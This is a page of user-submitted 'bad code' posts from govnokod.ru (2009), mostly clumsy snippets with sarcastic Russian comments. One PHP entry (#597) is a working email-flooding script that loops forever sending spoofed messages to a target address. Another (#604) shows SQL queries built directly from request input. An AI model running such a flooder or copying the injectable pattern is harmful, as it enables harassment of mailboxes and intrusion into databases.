1. JavaScript / Говнокод #606

    +132.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    (function($) {
    	$(document).ready(function(){
    		//Love jQuery :)
    		$("#noscript_testimonials").parent().append($('#noscript_testimonials > *').clone().css({"overflow": "hidden", "position": "relative", "width": "250px", "margin-left": "15px"}).find(".noscript_testimonials").each(function (){ $(this).remove();	}).end()).find("#noscript_testimonials").remove().end().find('#testimonials').cycle({
    		  fx: 'scrollDown',
    		  cleartype: true,
    		  pause: true
    		});
    	});
    })(jQuery);

    И обфускация не нужна)

    guest, 25 Февраля 2009

    Комментарии (1)
  2. VisualBasic / Говнокод #605

    −281.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    Public Function GetFormatedValue(ByVal columnName As String, ByVal value As Object) As String
    	Dim result As String = value.ToString()
    	Dim vint As Integer
    	If (TypeOf value Is Decimal) Then
    		vint = CType(CType(value, Decimal), Integer)
    	ElseIf (TypeOf value Is Integer) Then
    		vint = CType(value, Integer)
    	Else
    		vint = CType(Decimal.Parse(value.ToString(), System.Globalization.CultureInfo.InvariantCulture), Integer)
    	End If
    
    	Dim stringValue = ConvertStringToInt(value)
    
    	Select Case foundedColumn.Format
    		Case "3"
    			result = String.Format("${0}M", GetSplitValue(CType(CType(stringValue, Integer) / 1000000, Integer)))
    		Case "2"
    			result = String.Format("${0}K", GetSplitValue(CType(CType(stringValue, Integer) / 1000, Integer)))
    		Case "1"
    			result = String.Format("${0}", GetSplitValue(vint))
    	End Select
    	Return result
    End Function
    
    Private Function ConvertStringToInt(ByVal value As Object) As String
    	Return CType(value, String).Replace(",", String.Empty).Replace(".", String.Empty).Replace(" ", String.Empty)
    End Function

    Сначало падал exception на 9 строчке, т.к. не была указана культура, вообще.
    После того как указали культуру, все, через кейс на 20 строчке, проходило успешно
    Далее, когда изменился формат, для правильной конверсии закодили функцию ConvertStringToInt (line 25)

    guest, 24 Февраля 2009

    Комментарии (1)
  3. PHP / Говнокод #604

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    switch($action){
      	  default:
      	  case 'main':
      	  {
      	  	  if($request_do == 'adtb'){
      	  	  	  $sql->Query("SELECT * FROM utb WHERE `siteid` = $request_site AND `uid` =  ".$_SESSION['id'].";");
      	  	  	  if($sql->size_of_result == 0){
      	  	  	  	  $sql->Query("INSERT INTO utb VALUES(null,".$_SESSION['id'].",$request_site,'$request_url');");
    			  }
    		  }
    		  if($request_do == 'del' && isset($request_id)){
    		  	  $sql->Query("SELECT * FROM utb WHERE `id` = $request_id AND  `uid` =  ".$_SESSION['id'].";");
    		  	  if($sql->size_of_result != 0){
    		  	  	  $sql->Query("DELETE FROM utb WHERE `id` = $request_id;");
    			  }
    		  }
    		  if($request_do == 'save' && is_array($request_tbdata)){
    		  	  foreach($request_tbdata as $k=>$v){
    		  	  	  $sql->Query("UPDATE utb SET `url` = '$v' WHERE `id` = $k;");
    			  }
    		  }
      	  	  $sql->Query("SELECT `id`, `domen`, `sitename` FROM sites;");
              $sdata = $sql->GetAssoc();
              $sql->Query("SELECT *,(SELECT `domen` FROM sites WHERE `id` = utb.id) as `site` FROM utb WHERE `uid` =  ".$_SESSION['id'].";");
              $udata = $sql->GetAssoc();
              $sql->Query("SELECT `id`, `domen` FROM sites WHERE `id` NOT IN(SELECT `siteid` FROM utb WHERE `uid` = ".$_SESSION['id']." );");
              $data = $sql->GetAssoc();
              $smarty->assign('sdata',$sdata);
              $smarty->assign('data',$data);
              $smarty->assign('udata',$udata);
              $smarty->assign('id',$_SESSION['id']);
      	  	  $smarty->display('links.tpl');
              break;
    	  }
    
    
      }

    Ага новые конструкции в PHP! Нашел в одной Cmsке

    guest, 24 Февраля 2009

    Комментарии (4)
  4. PHP / Говнокод #603

    +139.3

    1. 1
    (bool) $frmchk_user_edit = 0;

    и такое тут сплошь и рядом...
    платный продукт..

    guest, 24 Февраля 2009

    Комментарии (4)
  5. PHP / Говнокод #602

    +138.7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <?
    // ....
    $POST_MAX_SIZE = ini_get('post_max_size');
    $mul = substr($POST_MAX_SIZE, -1);
    $mul = ($mul == 'M' ? 1048576 : ($mul == 'K' ? 1024 : ($mul == 'G' ? 1073741824 : 1)));
    // ....
    ?>

    я ещё такой глубины условий не встречал в такой форме

    guest, 23 Февраля 2009

    Комментарии (3)
  6. Си / Говнокод #601

    +126.6

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    #include<stdio.h>
    int main(void)
    {
    	int a=10000,b=0,c=2800,d,e=0,f[2801],g;FILE *fo;
    	if (!(fo=fopen("C:\\out","w"))) return 1;
    	for (;b-c;) f[b++]=a/5;
    	for(;d=0,g=c*2;c-=14,fprintf(fo,"%.4d",e+d/a),e=d%a)
    		for(b=c;d+=f[b]*a, f[b]=d%--g,d/=g--,--b;d*=b);
    }

    число пи

    guest, 23 Февраля 2009

    Комментарии (5)
  7. PHP / Говнокод #600

    +134

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <?
    for($i=0;$i<100;$i++){
     header("Location: govnokod");
    }
    ?>

    xek

    guest, 23 Февраля 2009

    Комментарии (3)
  8. Assembler / Говнокод #599

    +252

    1. 1
    2. 2
    3. 3
    <Ponchik> Передавайте преведы
    <Hormold> Привет античату!
    <%luz3r> h1

    Превееееед

    guest, 23 Февраля 2009

    Комментарии (5)
  9. JavaScript / Говнокод #598

    +138

    1. 1
    alert('Anticat!!!!!1 ;)');

    AlexTheC0d3r

    guest, 22 Февраля 2009

    Комментарии (4)
  10. PHP / Говнокод #597

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    <?php 
    /*
    Copyright Зверь ICQ #444383
    */
    
    
    #Настройки: 
    $error=1; #Показывать ошибки на сервере(1-да, 0-нет) 
    $email="[email protected]"; #На какой мыльник срать 
    $subject="Продаю виагру, дешево!"; #Тема письма 
    $message="Обломись!!! Я не продаю виагру, а даю люлей!!! Ты попал...=)"; #Текст письма 
    $name="viagra_sale"; #Впишите сюда имя(!) отправителя (будет выглядеть, например: [email protected]) 
    $domain="mail.ru"; #Впишите доменное имя хоста, который хотите подставить =) 
    #Запуск: 
    $one=1; 
    error_reporting($error); 
    while ($one=="1"): 
    $num=mt_rand(1,123456789); 
    $headers="$name$num@$domain"; 
    #Посылаем созданное письмо: 
    mail ($email, $subject, $message, $headers); 
    endwhile; 
    echo "Флуд мыльника $email закончен!"; 
    ?>
    ?>

    щячло попячся111

    guest, 22 Февраля 2009

    Комментарии (2)